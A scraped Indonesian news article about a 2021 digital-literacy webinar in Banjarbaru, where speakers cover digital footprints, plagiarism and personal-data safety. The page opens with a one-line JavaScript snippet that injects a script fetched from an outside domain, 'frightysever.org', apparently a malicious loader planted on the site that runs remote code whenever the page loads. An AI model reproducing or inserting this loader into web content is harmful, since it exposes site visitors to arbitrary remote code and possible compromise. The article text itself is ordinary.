(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Webinar Literasi Digital Banjarbaru: Rekam Jejak Digital Ada Aktif, Ada yang Pasif


KANALKALIMANTAN.COM, BANJARBARU – Data statistik jumlah pengguna internet di Indonesia mencapai angka 196,71 juta dengan rata-rata pemakaian 8 jam sehari.

Hal ini menjadikan resiko dampak berinternet sangatlah besar. Dunia digital semakin menguasai keseharian masyarakat, khususnya di era pandemi ketika hampir semua pekerjaan dan pembelajaran dilakukan melalui internet.

Latar belakang tersebut membuat Joko Widodo, Presiden RI bekerja sama dengan Kemenkominfo-Siberkreasi meluncurkan program literasi digital. Webinar literasi digital Kota Banjarbaru dipandu host Rio Brama, Selasa (13/7/2021).

Nara sumber Malik Atmadja menyampaikan mengenai rekam jejak digital. Jejak digital yang dimaksud terbagi menjadi dua, yaitu jejak digital aktif dan jejak digital pasif.

 

 

“Jejak digital aktif itu artinya kita melakukannya secara sengaja, saat berselancar kita memiliki kesadaran penuh. Sedangkan untuk digital pasif itu, ya, sebaliknya!” ujarnya.

Malik membeberkan, untuk jejak digital aktif itu meliputi pembuatan akun sosial media, posting foto, komentar, dan mengisi formulir pada website.

Sedangkan untuk jejak digital pasif itu meliputi browser history, menggunakan GPS aktif, dan menginstal aplikasi yang tidak terpercaya.

Selain itu, jejak digital juga mempunyai keuntungan dan kerugian tersendiri. Keuntungannya adalah personalisasi layanan dan konten masing-masing pengguna, personalisasi iklan yang dibutuhkan pengguna, sampai membantu pihak perusahaan dalam mempertimbangkan pelamar kerja saat seleksi.

Namun, di sisi lain mempunyai kerugian tersendiri seperti kebocoran data yang dapat disalahgunakan, hingga merusak reputasi, karir, bahkan pendidikan seseorang.

Semua ini disebabkan dari rekam jejak pengguna dalam berinternet khususnya menggunakan sosial media.

Malik memberikan tips untuk menjaga jejak digital agar tetap positif. “Kelola benar-benar jejak digital sosial media, tidak berselancar di konten-konten yang negatif. Jaga reputasi terus baik, tidak memberikan komentar buruk terhadap orang lain. Konten yang dibuat tidak merugikan nama baik diri sendiri ataupun orang lain. Berinteraksi di dunia maya dengan positif, tidak saling sindir ataupun terlibat dalam cyberbullying. Instal dan download aplikasi di platform resmi. Yang terakhir, hapus aplikasi yang tidak digunakan!” ujarnya.

Nara sumber kedua, Hesty Heriyani, memberikan 5 tips strategi cerdas di era digital.

1. Types of Digital Assets
2. Khusus skill on learning, perhatikan waktu alokasi yang diberikan
3. Media digital dibuat dalam durasi yang cukup, tidak terlalu lama agar tidak bosan
4. Present State menjadi Desire State
5. Mengamati konteks dalam issue, berprinsip, dan mempunyai langkah-langkah yang berkonsep

Sementara nara sumber ketiga, Fadilla Yahya, memaparkan materi terkait “Bijak Bersosial Media”. Fadilla memaparkan, jika ingin menggunakan karya orang lain harus meminta izin dulu agar terhindar dari kasus plagiasi.

“Paling tidak, mencantumkan karyanya diciptakan oleh siapa, dan sumber aslinya dari mana. Contohnya, lagi trend untuk cover lagu orang lain, harus dicantumkan penyanyi aslinya siapa,” ucapnya.

Ia juga memperingatkan untuk hati-hati dalam menyebar informasi pribadi ke publik. “Orang yang menggunakan data pribadi orang lain juga tersangkut pasal 26 ayat 1 UU ITE,” ujarnya.

Fadilla menambahkan, betapa pentingnya memberikan komentar dan pujian terhadap unggahan orang lain agar sebagai sesama pengguna internet bijak serta bisa mengapresiasi.

Nar sumber terakhir, Basyori Saini memberikan cara bijak saat menjadi masyarakat di dunia digital. “Gunakan internet dengan bijak, batasi penggunaan internet dan perlu didampingi orang yang lebih tua untuk anak-anak, filter dan pembatasan akses yang tidak perlu apalagi website yang berbahaya, produktiflah menggunakan internet, gunakan sosial media sesuai keperluan. Sebaiknya berinternet untuk menambah pengetahuan dan akses pendidikan saja,” ucapnya (kanalkalimantan.com/nurul)

Reporter : nurul
Editor: bie


Al Ghifari

Recent Posts

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

4 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

4 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

5 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

5 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

6 jam ago

This website uses cookies.